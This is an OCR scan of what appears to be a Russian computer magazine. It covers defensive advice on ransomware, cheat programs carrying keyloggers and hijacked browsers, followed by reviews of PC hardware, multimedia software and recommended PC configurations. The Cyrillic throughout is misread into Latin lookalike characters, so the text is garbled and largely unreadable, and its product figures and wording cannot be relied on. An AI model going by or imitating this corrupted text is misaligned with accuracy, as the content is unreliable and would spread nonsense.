3aiAMiAeHa Ha 100%. 



Myio CBexyio Bepcnio aHTHBupyca h 
JIHKBHAH pOBaTB HMeiOIAHeCH yH3BH- 
MOCTH — B HaCTHOCTH, C IIOMOmBK) 
cjiyacdbi aBTOMaimecKoro odHOBjie- 
hhh Windows. 

McHe3H0BeHNe pe3yjibTaT0B 
nrpbi: KJiaBnaiypHbm mnMOH? 


I BbICOKAfl 


Floc/ie 3apa>neHiin 
noMeHnMTe napo/ib 


npH^eT yTHjiHTa PC Inspector File 
Recovery c Hamero DVD. 

3AmMTA QT WAHTAMI/ICTOB. Ecjih Ba- 
nin AaHHBie He yAajieHBi, a 3axBane- 
hbi, hh b KoeM cjiynae He HAHTe Ha 
noBOAy y MOineHHHKOB . nporpaMMBi - 
BBiMoraTe jih , Taicne KaK Troj.pgpcoder, 
nacTO HcnojiB3yiOT npocToe koahpo- 
BaHne, KOTOpoe moxho aHHyjinpo- 
BaTB 6e3 ynacTHn 3JioyMBinuieHHHKa. 
B 6ojiBiHHHCTBe cjiynaeB BaM noMO- 
aceT OAHa H3 cneiiHajiBHBix yTHjiHT 
OT H3BeCTHBIX npOH3BOAHTeJieH aHTH- 
BHpycoB, KOTOpan ACKOAHpyeT hoch- 
TejiB h deccjieAHO yHHHTOXHT nopa- 
3HBinyio ero nporpaMMy. 

IIpeAOTBpaTHTB noAodHBie cnrya- 
Ahh mojkho, ecjra HcnojiB30BaTB ca- 


Bepo^THQCTb aiaKM | H1/I3KA51 Eg 

npOHTH Taxyio nrpy, KaK World of 
Warcraft, 3a aecHTb MHHyr, kohchho, 
HeB03M0xcH0 — no KpanHen Mepe, 
jierajiBHBiMH cpeACTBaMH. Ho Tax Ha- 
3BiBaeMBie TpeiiHepBi nocnuiaiOT Ha 
cepBep oHjiaHH-nrpBi wr-KOMaHABi, 
KOTOpBie no3BOJUHOT CTaTB deccMepT- 
hbim repoeM, H36exaTB BCTpenn c $h- 
HaJIBHBIMH MOHCTpaMH H T. n. 3 t 0 He 
tojibko HenecTHO, ho h onacHo: Taxoe 
no MO^ceT 6 bitb HOCHTejieM BHpyca. 
JlEfAJlbHQE MQLIIEHHI/IHECTBQ. no- 

CKOJIBKy npOH3BOAHTeJIH Hrp CTpe- 
MHTCH K neCTHOH dopbde, OHH BBICTy- 
naiOT npoTHB HcnojiB30BaHHn hht- 
koaob. TaKHe KOMnaHHH, xax Blizzard, 
Aaxe 6jiOKHpyiOT aKKayHT, ecjin yjin- 
naiOT nrpOKa b noAodHOM xyjiB- 
HHnecTBe. nooTOMy nHT-nporpaM- 
mbi 3anacTyio mojkho nojiynHTB jihihb 
H a coMHHTejiBHBix caifrax, HTO co- 
npnxeHO c phckom. 3arpy3caiiTe 
Taxoe no tojibko H3 djiaroHaAex- 
hbix hctohhhkob, rAe oho, KaK npa- 
bhjio, npOBepneTcn aAMHHHCTpa- 
topom pecypca. 

CflACEHI/IE PE3YJlbTATQB 1/irPbl. HepeA- 

KO BpeAOHOCHBie 
nporpaMMBi co- 
AepxcaT Kenjiorrep, 
perncTpHpyioiAHH 
BCe HAvKaTHH Ha 
KJiaBHIHH. TaKHM o6pa30M XaKepBI 
nojiynaiOT AOCTyn k AaHHBiM nojn>30- 
BaTejin AJia aBTOpH3apHH h Moryr 
decruiaTHO nrpaTB ero nepcoHaaceM. 
B HHT-nporpaMMax npnnyTcn, HanpH- 
Mep, TaKHe hhihohbi, KaK ntldr.exe, 
nooTOMy no bo3moxhocth coxpamiH- 
Te cboh pe3yjiBTaTBi He tojibko orniaiiH, 
ho h 0(})jiaHH, Ha BHeniHeM hoch- 
Tejie. Ecjih bbi 3aMerajiH, hto kto-to 
H rpaeT c HcnojiB30BaHHeM Bam hx pe- 
THCTpaiJHOHHBIX AaHHBIX, HeMeAJICHHO 
CMeHHTe napojiB h nocTaBBTe b H3- 
BeCTHOCTB npOH3BOAHTeJIH HTpBI. npH 
HajiHHHH y Hero cjiyxdBi noAAepvKKH, 
a y Bac — coxpaHeHHBix pe3yjiBTa- 
tob H3HanajiBHoe nojioxeHHe mojkho 
6yAeT BOCCTaHOBHTB. 









floxmiieHMe 3axBaneHHbm 6pay3ep caM oTKpbi- 
BaeT noA03pmejibHbie MHTepHeT-cipaHiipbi, 
nacTO C 0 Aep>KaiAi/ie BpeAOHocHoe flO 


npMno)KeHNJi He padoTaroT: 

Bupyc? 


| ^ | 


BepoflTHQCTb aiaKM E 

Eine Bnepa nporpaMMa padoTajia de3y- 
npenHO, a ceroAHH HeoxcHAaHHO «3ada- 
CTOBajia» de3 KaKHx-jmdo ocHOBaHHH. 
flQI/ICK I1PI/IHI/IH. BcnoMHHTe, He ycTa- 
HaBjiHBajiH jih bbi b nocjieAHee BpeMn 
HOBoe no hjih ApaiiBep, He noAKjno- 
najiH jih HOBBie ycTpoiiCTBa h He no- 
CTynajio jih coodmeHHH od omndKax 
ot He padoTaiomero TenepB npmiojKe- 
hhh. npHHHH OTKa3a 3anycKa MO^ceT 
dBITB MHOXeCTBO — HeodxoAHMO npo- 
H3BecTH TuiaTejiBHBiH aHajiH3 npodjie- 
mbi. B 3toh CHTyanHH to xe ctoht nep- 
bbim AeJiOM 3arjMHyTB b xypHaji codbi- 
THH. B «nyCK I KOMnBIOTep» B koh- 
TeKCTHOM MeHio BBidepHTe «YnpaB- 
jieHne». B pa3Aejie <OKypHajiBi npinio- 
xeHHH h cjiyacd» Windows (JiHKCHpyeT 
Ka>KAbin 3anycK nporpaMMBi, Aa>xe KOTAa 
oh conpoBO^AaeTcn cdoeM. B dojiB- 
niHHCTBe cjiynaeB nojie3Hyio AonojiHH- 
TejiBHyio HH(J)opMaiiHio mo3cho nojiy- 
hhtb, nepeHAH Ha BKjiaAKy «noApod- 
hocth». flaxe ecjin TaM HeT HHKaKoii 
onindicH, ctoht hcxoahtb H3 toto, hto 
nK, B03M03CH0, 3apaJKeH BHpyCOM. 

J1EHEHME )KECTK0rQ fll/ICKA. H T odBi 


y3HaTB, hto MemaeT KOMnBiOTepy Hop- 
MajiBHO padoTaTB, noTpedyeTcn hh- 
(J)OpMaTHBHBIH JIOT-(})aHJI. ErO M03CH0 
C03AaTB C nOMOIABIO CneAHaJIBHOH 
yTHjiHTBi HijackThis. Ecjih bbi He xo- 
THTe aHajiH3HpoBaTB ero caMOCTon- 
TejiBHO, nonpocHTe o noMomn, Ha- 
npHMep, Ha (JiopyMax caiiTOB www. 
ichip.ru hjih http://forum.kaspersky. 
com (cooTBeTCTByEoman BeTKa HMeeT- 
cn b pa3Aejie «Bopbda c BHpycaMH»). 
nocjie yAajieHHn BpeAOHOCHoro no 
nocTpaAaBmee npnjiojKeHHe h Win- 
dows aojhkhbi 3apadoTaTB. am? 
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n:n^ TECTbl M 0E30Pbl SKcnpecc-TecTbi 



ASRock ION 3D152B 


Mflfli niafli!EM.M 


HOME-THEATER PC 


BMflEOKAPTA 


K0MT1J1EKT 03Y 


4jf 


manna 


Kingmax 
Hercules DDR3 


ASRock ION 
30 152B 

AflPEC B l/IHTEPHETE: www.asrock.com 
CPEfl. P03HI/IHHAA UEHA, PYB.: 11 000 

TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I 
UeHTpajibHbm npoueccop: Intel Atom D525 
06teM 03Y, r6awT: 2 

HDD ((J)opM-(ljaKTop/o6beM, r6aiiT): 2,57320 
rpatJjMHecKaa CMCTeiua: NVIDIA ION 
Ofithh. npwBOfl: KOM6i/iHi/ipoBaHHbm Blu-ray 

flOMaiiJHHH Me^nauemp. AS- 
Rock ION 3D 152B - 3to 

KOMnaKTHLIH H CTHJIbHblH 
HTPC, XOTOpblH, HeCMOTpH 
Ha cboh pa3Mepbi, o6jia,ztaeT 
HenjioxHM 3anacoM mohi- 
HOCTH. YCTpOHCTBO OCHOBa- 

ho Ha 6a3e npoiteccopa Intel 
Atom D525 c rpacjmuecxoH 
CHCTeMOH NVIDIA ION, 
hto o6ecnenHBaeT xopo- 
myiO npOH3BOAHTeJIBHOCTB 
h notmepxcKy BH^eo CTaH- 

ttapTa Full HD. H3 oco- 

6eHHOCTeH MOflejiH OTMeTHM 
HajiHune a nyx nopTOB USB 
3.0 Ha nepeaHeii naHe- 
jih, a Taxace BCTpoeHHoro 
atjanrepa Wi-Fi (802.1 In) h 
yaoOHoro MyjibTHMenHHHO- 
ro nyjibTa flY. B tcctobom 
naxeTe PCMark Vantage Me- 
ttnaiteHTp ot ASRock 3apa- 
6oTaji 2230 bajuiOB, mtaexc 
npOH3BOAHTejibHOCTH Win- 
dows 7 cocTaBHji 3,2 6ajuia. 
BbiBOA- KoMnaxTHbie pa3Mepbi, 
Hennoxaa MoiMHocTb, npweivme- 
mbr MeHa. 

A/ibiepHaTHBa. Lenovo 
IdeaCentre Q150. 


Gigabyte GV- 
N460S0-1G1 

AflPEC B l/IHTEPHETE: www.gigabyte.ru 
CPEfl. P03HI/IHHAA flEHA, PYB.: 7700 

TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I 
rpatJjMHecKMM npopeccop: GeForce GTX460 
HacTOTa aflpa, Mrp:815 
HadOTa nawmTM, Mrp: 4000 
flaMHTb (mn/o6i>eM, r6aiiT): GDDR5/1 
BepcMfl DirectX: 1 1 

MoLflHan m xojiOflHan. Bn/ieo- 
KapTa Gigabyte Ha 6a3e GPU 
GeForce GTX 460 h3K)tob- 
jieHa no cjmpMeHHOH TexHO- 
jiomH Ultra Durable VGA. 
HoBHHKa ocHanteHa hoboh 
CHCT eMOH oxjiaxrteHHH Wind- 
force 2X, KOTOpan no3BOJiHeT 
yjiynmHTb TeMnepaTypHbiH 
pexcHM OTHOCHTejibHO pecjie- 
peHCHoro flH3aHHa Ha 11%. 
HffiKeHepbi KOMnaHHH Giga- 
byte Hcnojib3yiOT Turn oxjiax- 
fle HHH 3THX BHaeOKapT TOJIbKO 
BeHTKJiHTOpbi c aHTHTypby- 
jieHTHbiM flH3aHHOM jiona- 

CTen H THXHMH 3JieXTpOMO- 
TopaMH, a Taxace pannaTopbi 
Ha MeaHbix Tpybxax. JIonacTH 
BeHTHjinTopOB pacnojioace- 
hbi no pa3JiHUHbiMH yrjia- 
mh, npn 3 tom xaataan H3 
HHX C03flaeT CBOH B03flym- 
Hbiii noTOK h obecneuHBa- 
eT 3(J)(J)eKTHBHoe oxjiaxfle- 
Hne rpacjmuecxoro npoitec- 
copa. KpoMe Toro, BH^eo- 
iuiara ocHanteHa notmepac- 
XOH Bcex HOBeHUIHX TeXHO- 

jiomH: DirectX 11, NVIDIA 
CUDA, 3D Vision h PhysX. 


H3MepeHHan MaxcHMajibHan 
TeMnepaTypa rpacjmuecxoH 
KapTbi non Harpy3KOH co- 
CTaBHjia 78 °C, MaxcHMajib- 
Hbiii ypOBeHb inyMa — 8 coh. 
B 3DMark Vantage c Ha- 
CTpoHKaMH «Extreme» mo- 
ttejib 3apa6oTajia 7700 6aji- 
jiob, b beHHMapKe Crysis 
Warhead npn pa3pemeHHH 
1920x1200 Touex npotie- 
MOHCTpnpoBajia pe3yjibTaT b 
25 KaflpOB/c, a b rape 
«S.T.A.L.K.E.R.: 3ob npn- 
iuith DX11» npn pa3pe- 
meHHH 1680x1050 Touex — 
48 xaapOB/c. Bee H3MepeHHn 

npOH3BOflHJIHCb C MaXCH- 
MaJIbHblMH HaCTpOHXaMH xa- 
uecTBa rpacJiHXH, a TecTOBon 
rniontaAxoH nocjiyacnji xom- 
nbiOTep cjiettyiomeH xohcJih- 
rypaitHH: m aiep n h c xaa iuia- 
Ta Gigabyte GA-EX58 Ex- 
treme, npoiteccop Intel Core 
i7-975, 6 Ibanr naMUTH Pat- 
riot PVT36G1600LLK, Win- 
dows 7 Ultimate 64-bit. On- 
Haxo HeobxoAHMO otmcthtb, 
hto BHAeonnaTa Ha 6a3e 
NVIDIA GTX 460 Bee xe 
npOHrpbiBaeT CBoeMy ochob- 
HOMy xoHxypeHTy — xap- 
Te Radeon HD 5850, tte- 
MOHCTpnpyiomeH Gojibmyio 
MontHOCTb npn aHanornn- 

HOH CTOHMOCTH. 

BbiBOfl. Xopoinan npowsBOflH- 
TenbHOCTb, atjKpeKTMBHan cmc- 
TeMa oxjiaxcfleHMB, doraToe 
ocHaifleHiie. 

A/ibTepHaTMBa. Sapphire 
Radeon HD 5850 Toxic. 


AflPEC B l/IHTEPHETE: www.kingmax.com 
CPEfl. P03HI/IHHAB flEHA, PYB.: 7000 

TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I 

Tun naiwmi: DDR3 

cDopM-tJjaKTop: DIMM 240-KOHTaKTHbm 

TaKTOBaa nacTOTa, MT 14 : 2200 
HanpruKemie nmaHMa, B: 1 ,5-1 ,7 
CyMMapHbm obbeM, rOaMT: 4 

Ha npefleubHOM nacTOTe. Kom- 
naHHn Kingmax aHOHCHpo- 
Bajia Bbinycx hoboh cepnn 
MOflyjien naMHTH Kingmax 
Hercules, opHenrapOBaHHbix 
Ha OBepxjioxepOB h (JiaHaTOB 
xoMnbiOTepHoro «xejie3a». 
flaHHbiH xoMnjiexT npea- 
Ha3HaueH ajih chctcm Ha 6 a.- 
3e npopeccopOB Intel Core 
i7/i5. Kingmax Hercules ot- 
jiHnaeTcn rabapHTHbiMH pa- 
TlHaTOpaMH nepHoro HBeTa, 
XOTOpbie 3(J)(J)eXTHBH0 OT- 
boaht Teruio npn pa3roHe. 
no 3anBjieHHHM co3flaTe- 
jieii, fl,Ba MOflyjm naMBTH 
(JiyHxiiHOHHpyiOT Ha nacTO- 
Te 2,2 rrp c 3attepxcxa- 
mh CLIO (10-10-10-30) npn 
HanpmxeHHH 1,65 B, oflHa- 
xo HaM yflanocb flobHTbcn 
CTadHjibHOH paboTbi tojibxo 
npn TaiiMHHrax 6-6-6-18 
npn HacTOTe 1600 MTh, npn 
3 tom HarpeB nunoB oxa3aji- 
cn MHHHMaJIbHbIM . 

BbiBOfl. OTJIliHHan CKOpOCTb, 
BbicoKan qeHa. 

AnbTepHaTMBa. Corsair 
Dominator GT. 
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Panasonic KX-MB2020R 


J1A3EPH0E MCDY 

Panasonic 

KX-MB2020RU 


JKK-TEJ1EBM30P 

BB n - 

LMP3229HDU 


AflPEC B MHTEPHETE: www.panasonic.ru 

CPEfl. P03HMHHAA flEHA, PYB.: 8000 


AflPEC B l/IHTEPHETE: www.bbk.ru 
CPEflHflfl P03HMHHAA flEHA, PYB.: 14 600 


TEXHI/IHECKI/IE XAPAKTEPMCTMKM 


TEXHI/IHECKI/IE XAPAKTEPMCTI/IKI/I 


Tun nenaTM: jia 3 epHaa nepHO-benaa 

MaKC. pa 3 peiueHMe nenam, Toneic: 600x600 
MaKC. pa 3 peLueHne CKaHepa, Tonex: 9600x9600 
BcTpoeHHaa naMm, M 6 aiiT: 32 
l/lHTepc|jeMCbi: Ethernet, USB 2.0 


SxpaH: tj)opMai/AnaroHajib, akjmmob: 16:9/32 
MaKCMMaabHoe pa 3 peweHne, Tonex: 1920x1080 
flpKOCTb, ka/m 2 : 500 


KoHTpacTHOCTb: 1500 
Pa 3 Mepbi, MM/Bec, xr 


1 

960x610x197/10,2 


BbiroflHbiM yHMBepcan. Pana- 
sonic KX-MB2020RU — oto 
KOMnaKraoe jia 3 epHoe MOY 
cerMeHTa SOHO, KOTOpoe 
o 6 i>eflHHneT b oahom xop- 
nyce npuHTep, cxaHep, xo- 
nnp, cjraxc n TejiecjTOH. fljur 
yao6cTBa nepeaHHH naHejiB 
c KHonKaMH ynpaBjieHnn 
HeMHoro HaicioHeHa, a 3 a- 
MeHa pacxoflHBix MaTepna- 
jiob npOH 3 BOflHTcn nepe 3 
OTKHAHyiO 4 >pOHTaJIBHyK) 
KpBiniKy. KpOMe HHTep(J)eH- 
ca USB flaHHoe MOY ocHa- 
n^eHO pa 3 T>eMOM Ethernet, 
KOTopBin flejiaeT flocryn- 
HBIMH TaKHe (J>yHKU;HH, KaK 
ceTeBan nenaTB n ceTeBoe 
itBeTHoe CKaHHpOBaHne. Yct- 
pOHCTBO fleMOHCTpHpyeT Bbl- 
coxyio ckopoctb nenaTH — 
24 ctp./mhh., a pa 3 peineHne 
cxaHepa (9600x9600 to Hex) 

n03B0JI5ieT OIIH(|)pOBbIBaTb 
IJBeTHBie flOKyMeHTBI C OT- 
JIHHHblM KaneCTBOM. 

BblBOfl. BbICOKMM ypOB6Hb 
nenaTM, onpaBflaHHan qeHa. 
AiibTepHaTMBa. Samsung 
SCX-4824FN. 


Bo/ibujoe kmho no npMeivme- 
mom fleHe. CeroflHn TejieBH- 

30pBI HepeflKO HCnOJIB3yiOT- 
cn fljin npocMOTpa He tojib- 
KO 3(J)HpHBIX KaHaJIOB H 
Tejienepeflan, ho h BHfleo- 
(J)hjibmob. A Gjiaroflapn ax- 
THBHOMy pacnpocTpaHeHHio 
nmpOKonojiocHoro HHTep- 
HeTa h nHpHHroBBix ceTeii 
6ojiBniHHCTBO jiKDAeii cxa- 
HHBaiOT BHfleO BbICOKOH 
neTKOCTH cpa3y Ha kom- 
nbiOTep, MHHyn 3Tan npH- 
oGpeTeHHn ahckob. HtoGbi 
noTOM npocMaTpHBaTB Ta- 
KOH KOHTeHT Ha TeJieBH30- 
pe, HeoOxoflHM annapaT- 
hbih Meflnanjieep. Ho tojib- 
ko He b cjiynae c BBK 
LMP3229HDU, Be#b otot 
TB-KOM6aiiH ocHamaeTcn 
COGCTBeHHBIM BCTpOeHHBIM 
MeflHanpOHrpBiBaTejieM h 
MOxeT noxBacTaTBcn cjryHK- 
PHOHaJIBHOCTBK) flOManiHe- 
ro MyjiBTHMeflHHHoro ijeH- 
Tpa. Oh oGjia^aeT anaro- 
HajiBio 3KpaHa 32 aioiiMa, 
noflflepxHBaeT BOcnpoH3- 
BefleHHe BHfleo bbicokoh 


neTKOCTH CTaHflapTa 1080p, 
COBMeCTHM npaKTHHeCKH 
CO BCeMH COBpeMeHHBIMH 
(JiopMaTaMH ayflHO h BH#eo 
(b tom HHCJie MKV) h 060 - 
pyflOBaH pa 3 i>eMOM USB 
fljin noflKjnoneHHii cjmem- 
HaKonHTejieii hjih BHeniHHx 
BHHnecTepOB. KanecTBO H 30 - 
OpaxeHHn — Ha aoctohhom 
ypOBHe. npH 3 TOM CTOHT 
OCO 60 OTMeTHTB 60 JIBIHHe 
yrjibi o 630 pa xax no ropn- 
30 HTaJIH, Tax H BepTHKaJIH 

(176° b o6ohx cjiynanx), 

n 03 BOJI 5 HOmHe C KOM(J)Op- 
TOM CMOTpeTB KHHO B KOM- 
naHHH HecxojiBKHx nejio- 
Bex. BbiCTpan TN-MaTpHu;a 
co BpeMeHeM OTXjiHxa Bce- 
ro 6,5 c neTxo OToGpaaca- 
eT AHHaMHHHOe BH^eo. H3 
flOCTOHHCTB 3 T 0 T 0 TeJieBH- 
30 pa Ta Kxe 3 acjiyxHBaeT 
BHHMaHHn HaJIHHHe Ha xop- 
nyce flByx HDMI-pa3be- 

MOB. OpTOHOMHHHBIH nyjIBT 
fly h yfloOHoe ynpaBjie- 
HHe noHpaBHTcn OojibniHH- 
CTBy noTeHu;HajiBHBix no- 
xynaTejien. B u;ejiOM, BBK 
LMP3229HDU hpohbbo- 
flHT nojioxcHTejiBHoe Bne- 
naTjieHHe, a c yneTOM BecB- 
Ma fleMoxpaTHHHOH n;eHBi 
Ha ceroflHimiHHH fleHB y 
Hero npaxTHnecxH HeT aHa- 
jiotob b CBoeM cerMeHTe. 
BblBOfl. CTPOTMM AM 30 MH, XOpO- 
uiee KanecTBO M 3 o 6 pa)KeHMn, 
BCTpocHHbiM MeflManjieep c 
LUMP 0 K 0 M CjiyHKflMOHaJlbHOCTbW. 
AiibTepHaTMBa. LG 32LD350. 


Kopnyc nK 

Thermaltake V5 
Black Edition 


AflPEC B MHTEPHETE: www.thermaltakerussia.ru 

CPEflHflfl P03HMHHAB flEHA, PYB.: 3000 

TEXHMHECKME XAPAKTEPMCTMKM 

Tun Kopnyca: Midi-Tower 

floAAep)KKa MaiepMHCKMx naai: ATX, Micro-ATX 

Koji-bo cjiotob pacLUMpeHMe: 7 

Koji-bo OTcexoB 5 , 25 ": 9 

lafiapiiTbi, MM/Bec, xr: 223x508x490/7,1 


flocTynHbiM MrpoK. Thermal- 
take BBinycTHjia Henoporon 
oxcTpaBaraHTHBiH xopnyc, 
KOTOpBiH npHfleTcn no Bxycy 
3 HTy 3 HaCTaM H JIK) 6 HTeJIHM 

MOflflHHra. B nepByio one- 
peflB OpocaeTCH b ma3a 6ojib- 
man pynxa HaBepxy, npn- 
3 BaHHaa ynpocTHTB TpaHC- 
nopTHpOBxy. Ha nepeflHeii 
naHejiH pa3MecTHjiHCB fle- 
B 5 TTB OTCeKOB 5,25", a B Bepx- 
Heir nacTH — aea nopTa USB, 
nopT eSATA h ayflHOpa 3 B- 
eMBI. HeCMOTpiT Ha HeBBICO- 
xyio CTOHMOCTB, KOpnyC H 3 - 
TOTOBJieH H 3 XaHeCTBeHHblX 
MaTepHajiOB h yxoMnjiex- 
TOBaH flByMH BbITTDKHbIMH 
BeHTHJIiTTOpaMH. Bo Bpe- 
mh TecTHpOBaHHH npH c 6 op- 
xe CHCTeMbI H 3 «rOpHHHX» 
xoMnjiexTyiomHx TeMnepa- 
Typa BHyrpn xopnyca 6 buia 
MeHbme Ha 10—15 °C no 

CpaBHeHHK) C OTKpbITbIM 
TeCTOBbIM CTeUflOM. 

BblBOfl. CTMJIbHbIM BHeiUHMM 
bma, HeBbicoKan ueHa. 
AnbTepHaTMBa. NZXT M59 
Black. 
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BMflEOPEflAKTOP 

muvee 

Pixie 

OC: Windows XP/Vista/7 

AAPEC B MHTEPHETE: www.muvee.com 
PEKOMEHflOBAHHAfl UEHA, PYB.: 1000 


BMABoaBTOMaTMKa. YrauHTa muvee Pixie 

n03B0JIHeT JierKO CMOHTHpOBaTb pOJIHX 
xax H3 BuaeocJ)parMeHTOB, Tax h c hc- 
nojn>30BaHHeM H3o6paaceHHH h My3bi- 
XH — H BCe 3TO 6yKBaJIBHO 3a HeCKOJIBKO 
KJIHKOB. Bbl MOXeTe BBl6paTB B KaueCTBe 
MaTepuajiOB aaa cjDiuibMa cjiaHJibi, xpa- 
HHmuecii na nK hjih BHemHeM Haxo- 
mrrejie, a Taxace pojihxh H3 6H6jiHOTexH 
muvee — OHjiauH-cepBuca shwup. K co- 
xajieHHio, Pixie He noaaepJKHBaeT pa- 
6oTy c HD -BHaeo, BOCTpeboBaHHyio 
mhothmh nojr b30 BaTejiH m h , aa h cjry>K6a 
noaaepacxH 3toh nporpaMMbi ocTaBjineT 
xejiaTb jiyumero, Tax hto He ctoht Haae- 
htbch Ha noHBjieHHe aaHHoii cjiyHXHHH 
B o6HOBJieHHHX. B KOMIUieKTe C npHJIO- 
xeHHeM nocTaBjiHeTCH Ha6op H3 ceMH 
CTHJieH, KOTOpbie noMoryr aonojiHHTb 
pOJIHK pa3H006pa3HbIMH 3(J)(J)eKTaMH — 
HanpHMep, H3MeHHTb BHaeOpaMKH HJIH 
nepexoabi Me>Kay cjopameHTaMH. Mojk- 
ho npHo6pecTH h aonojiHHTejibHbie 
CTHJIH, OaHaKO OHH CTOHT aOBOJIb- 

ho aoporo — okojio 650 pyGjieii xajx- 
abiii. R)TOBoe BHaeo mojkho 3arpy3HTb 
xax b iTunes, Tax h Ha Facebook, 
YouTube hjih shwup. OaHaxo cjieayeT 
yuecTb, hto npHMeHeHHe cmreii yBe- 
jiHHHBaeT pa3Mep ncxoaHoro pojinxa 
nouTH b asa pa3a. 

BblBOfl. OTBMHHblM MHCTpyMBHT flllfi padOTbl 
c BiiAeo m ayAMO, ho 6e3 noAAepxtKM HD. 
AnbTepHaTHBa. Magix Video (okobo 2200 py6- 
Beu) OTBHHHO CnpaBBBeTCB C HD-BHAeO. 


MYBbTMMEAMMHblM K0M5AMH 

Roxio 

Creator 2011 

0C: Windows XP/Vista/7 

AAPEC B MHTEPHETE: www.roxio.com 
PEKOMEHAOBAHHAfl UEHA, PYB.: 3200 


3D-MeAMaK0HBepiep. KoMnaHHH Roxio 
pemiuia noiuoub nojib30BaTejiHM Mara 
b Hory co BpeMeHeM h co3aajia xom- 
iuieKCHbiii npoayKT Creator 2011. Ero 
TJiaBHOH OCOGeHHOCTbK) CTaJia B03- 
MOJKHOCTb C03aaHHH H 06 pa 60 TKH 3D- 
MeanaKOHTeHTa. flaHHbiH naxeT npea- 
Ha3HaueH rjw paboTbi c MyjibTHMeana, 
H ero OCHOBHbIMH (JiyHKHHHMH HBJIH- 

k)tch 3anncb jiK>6bix THnoB ayano, CD- 
h DVD -BHaeo, a Taxace pe3epBHoe 
KonnpOBaHHe aaHHbix. B pacnopiiace- 
hhh nojib30BaTejiH yaobHbie HHCTpy- 
MeHTbi aJTH H3BjieueHHH ayanoaopoacex 
H KOHBepTHpOBaHHH HX B MP3. OyHX- 
h;hh Creator 2011 no3BOJiHK)T npeo6- 
pa30BbiBaTb o6bmHbie (JiOTorparjiHH b 
CTepeorjiopMaT, a Taioxe o6pa6aTbiBaTb 
MaTepnajibi, co3aaHHbie cneanajibHbi- 
mh 3D-KaMepaMH. ITomhmo 4>oto- 
chhmkob naxeT MoxeT paboTaTb c 
obbeMHbiM BHaeo. B ero cocTaBe HMe- 
eTCH aaxe BHaeopeaaxrop c noaaepac- 
koh pa3JiHHHbix (J)HjibTpOB h nepexo- 
aoB. CneanajibHoe npmioaceHHe Roxio 
Streamer no3BOJineT npeBpaTHTb nojib- 
30BaTejibCKHH ITK b MeanacepBep, 
npH 3tom noaaepJKHBaiOTCH CTaHaapTbi 
UPNP h DLNA. OTaejibHO ctoht ot- 

MeTHTb B03MOJKHOCTB HMnOpTHpOBaTb 
h co3aaBaTb HD -BHaeo. 

BbiBOA- YHMBepcaBbHbm npoAyKT abb 
paOOTbl C OObIHHbIM M 3D-MeAMaK0HTeHT0M. 
ABbTepHaTMBa. naxei Zoner 3D Photo Maker 
(320 pyfrieH) abb co3aohmb 3D-t|30Torpac|3MM. 



0I1TMMM3AT0P 0C 

TuneUp Utilities 

2011 

0C: Windows XP/Vista/7 

AAPEC B l/IHTEPHETE: www.tune-up.com 

PEK0MEHA0BAHHAB UEHA, PYB.: 1000 

CepBMCMeH abb 0C. Ha6op yrajiHT ana 
onTHMH3au;HH Windows TuneUp Utili- 
ties B03bMeT Ha ce6n ouncTxy h HacTpon- 
xy CHCTeMbi Ha onraMajibHyio npOH3- 
BOaHTeJIbHOCTb. 3T0My CnOCObCTByiOT 
yaobHbiH nojib30BaTejibCKHH HHTep- 
cjjeHc h npeaycTaHOBjieHHbie npoc[)HjiH 
aJia 6biCTpOH OTjiaaKH nK noa pa3JiHH- 
Hbie 3aaaan. K HHCTpyMeHTaM onraMH- 
3au;HH OTHOCHTCH MOIU,HbIH a^(J)parMeH- 

TaTop aucxa h peecTpa Windows, ycxo- 
peHne paboTbi b HHTepHeTe, a Taxace 
HacTpOHKa OC Ha 6biCTpbiH 3anycx. 
CnenuajibHaH TexHOJiorHH «Turbo» no3- 
bojiht BamHM pabouHM nporpaMMaM 
aeiicTBOBaTb 6bicTpee 3a cueT OTKjnoue- 
hhh HeHyxcHbix npiuiojKeHHH h npo- 
aeccoB. Bee 4>yHKu;HH onTHMH3aiiHH 
h ohhctkh mojkho nepeBecm B aBTOMa- 
THuecKHH pejKHM, nocjie uero nporpaM- 
Ma caMa 6yaeT cjieaHTb 3a nopnaxoM 
Ha nK h ero npOH3BoaHTejibHOCTbio. 
H3 apyrnx nojie3Hbix HHCTpyMeHTOB 
ctoht BbiaejiHTb HaaexcHoe BoccTa- 
HOBjieHne yaajieHHbix (JianjiOB, a Tax- 
jxe npOTHBonojiojKHyio cjjyHXHHio — 
nojiHoe h 6e3B03BpaTHoe CTHpaHne 
HH(J)OpMaaHH. 3CTeTaM nOHpaBHTCH 
B03MOJKHOCTB 3aMeHbi 3HauxoB Ha Pa- 
6oueM CTOJie h nepeaeaxa uHTepcfieHca 
Windows XP h Vista. 

BbiBOA- AKKypaTHblH H MH 0 r 0 t|iyHKUM 0 HaBb- 
Hbm onTHMiisaTop Windows. 

ABbTepHaTMBa. BecnnaTHaB CCleaner abb 
OHMCTKM AMCKa m aBT03arpy3KM. 
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<t>OTO: K 0 MnAHI/ll/l-nP 0 l/l 3 B 0 fll/ITEJll/l 


OnTMMa/ibHafl KOHCpMrypaui/m flK TECTbl M 0E30Pbl 


CHIP fiifl noKynaTe/ifl flK 


He 3HaeTe, KaKOH KOMnbiOTep BbidpaTb? Bocncmb 3 ynTecb HaiiinMi/i 
coBeTaim Kawflbin iviecflu CHIP o6HOBJiaeT onTi/iMajibHbie KOHCpi/iry- 
papmi KOMribiOTepoB Tpex ochobhux Ti/inoB. 



QcDMCHblM nK 

MiniTower win MidiTower, 
MOLUHOCTb 6J10Ka nuTaHun - 350 Bt 

HunceT AMD 740G + SB710 (CPU AMD), 
NVIDIA GeForce 8200 (CPU AMD) 
win Intel G41 + ICH7 (CPU Intel) 

AMD Athlon II X2 255 win 
Intel Pentium Dual-Core E5300 

2 rOariT DDR2-800 
(2x 1 T6am) 

MHTerpupoBaHHan 


MHTerpupoBaHHan 


MHierpupoBaHHan 


SATA (500 fdanT), 7200 od./MnH. 


MATEPI/IHCKAfl 

n/lATA 


OnEPATHBHAfl 

flAMflTb 


3BYK0BA8 

n/lATA 


OnTHHECKMM 

HPHBOfl 


MYJlbTWVIEflMMHbll/l nK 

MidiTower, 

MOU^HOCTb 6/iOKa nnTOHnn - 550-600 Bt 

HunceT Intel P55 (CPU Intel) 
win AMD 785G + SB710 (CPU AMD) 

Intel Core S5-750 
win AMD Athlon II X4 955BE 

4 rfiaMT DDR2-1333 
(2x 2 rdani) 

ATI Radeon HD 5770 win 
